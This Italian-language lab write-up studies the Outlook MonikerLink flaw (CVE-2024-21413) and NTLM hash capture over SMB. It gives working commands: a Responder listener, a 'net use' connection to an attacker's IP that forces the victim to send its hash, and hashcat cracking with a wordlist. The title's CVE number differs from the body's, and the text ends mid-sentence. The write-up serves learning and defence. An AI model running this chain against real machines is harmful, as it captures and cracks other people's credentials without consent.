
Laboratorio creato per PenTest della vulnerabilità CVE 2024-214113 (MONIKER LINK).
Questo progetto ha avuto lo scopo di studiare la vulnerabilità CVE-2024-21413 (MonikerLink), esplorando come il protocollo SMB/NTLM possa essere abusato per la cattura di credenziali.
Anche dopo la correzione ufficiale di Microsoft, il laboratorio mostra che il concetto rimane valido in scenari interni.
La vulnerabilità (CVE-2024-21413), nota come MonikerLink, è stata classificata come critica (CVSS 9.8). Si verifica perché Outlook elaborava i collegamenti "file://" in modo non sicuro, utilizzando API COM obsolete (Moniker Objects). Questi oggetti permettevano a Outlook di chiamare risorse esterne senza passare per la Protected View, inducendo il client ad avviare automaticamente connessioni SMB.
È una funzionalità di Windows che consente di fare riferimento a oggetti COM tramite collegamenti speciali.
L'exploit originale abusava di collegamenti "file://" o percorsi UNC inviati via email.
Aggiungendo il carattere "!" nel collegamento, era possibile aggirare le protezioni interne di Outlook, forzando l'apertura diretta della risorsa esterna.
Ciò comportava un'autenticazione NTLM automatica, esponendo gli hash NetNTLMv2 all'attaccante senza una significativa interazione da parte dell'utente.
La patch KB5002519 blocca specificamente questo comportamento in Outlook, impedendo che i collegamenti "file://" vengano elaborati in questo modo.
Tuttavia, l'autenticazione NTLM automatica di Windows continua a funzionare al di fuori del contesto di Outlook, cioè qualsiasi tentativo di accedere a risorse SMB in un ambiente in cui NTLM è abilitato e non ci sono restrizioni di autenticazione può ancora generare l'invio automatico di hash.
📌 Relazione tra Outlook, SMB/NTLM e Responder Exploit originale: tramite spam email con link dannoso → Outlook elaborava → NTLM autenticava automaticamente → l'attaccante riceveva l'hash.
Laboratorio interno: simuliamo solo la parte concettuale → forziamo manualmente la connessione SMB → Responder cattura l'hash → Hashcat esegue il cracking.
Perché funziona ancora? Perché NTLM è un protocollo legacy che autentica automaticamente nelle connessioni SMB, indipendentemente da Outlook. La patch corregge il client Outlook, ma non elimina il comportamento intrinseco di NTLM su Windows.


Durante i test, Outlook ha bloccato i collegamenti file:// provenienti da email, mostrando un avviso di sicurezza:

La patch KB5002519, rilasciata a febbraio 2024, mitiga il vettore esterno via email bloccando i collegamenti file://.
Tuttavia, il protocollo NTLM continua a consentire l'autenticazione automatica nelle connessioni SMB.
Ciò significa che, sebbene Outlook sia protetto da questo specifico exploit, la superficie di attacco interna rimane valida.
La radice del problema risiede nella dipendenza da NTLM come meccanismo di autenticazione, che rimane suscettibile alla cattura di hash nelle connessioni SMB.
sudo responder -I eth0

Forzare la comunicazione SMB
Su Windows, accediamo manualmente a una risorsa SMB puntando all'IP dell'attaccante.
Questo accesso costringe il client Windows a tentare di autenticarsi automaticamente via NTLM, inviando l'hash al server falso (Responder).
È in questo momento che avviene l'esposizione iniziale delle credenziali. Possiamo forzare la comunicazione SMB in due modi:
Tramite Explorer, accedendo manualmente:
\\<IP dell'attaccante>\test.

Tramite terminale (cmd o PowerShell), usando il comando:
net use \\<IP dell'attaccante>\test

/usr/share/responder/logs/SMB-NTLMv2-SSP-<IP>.txt

hashcat -m 5600 -a 0 ~/hash.txt /usr/share/wordlists/rockyou.txt
Nota:
La password reale non viene mostrata per motivi di sicurezza. L'obiettivo è dimostrare il processo e la vulnerabilità.

Questo laboratorio ha evidenziato che: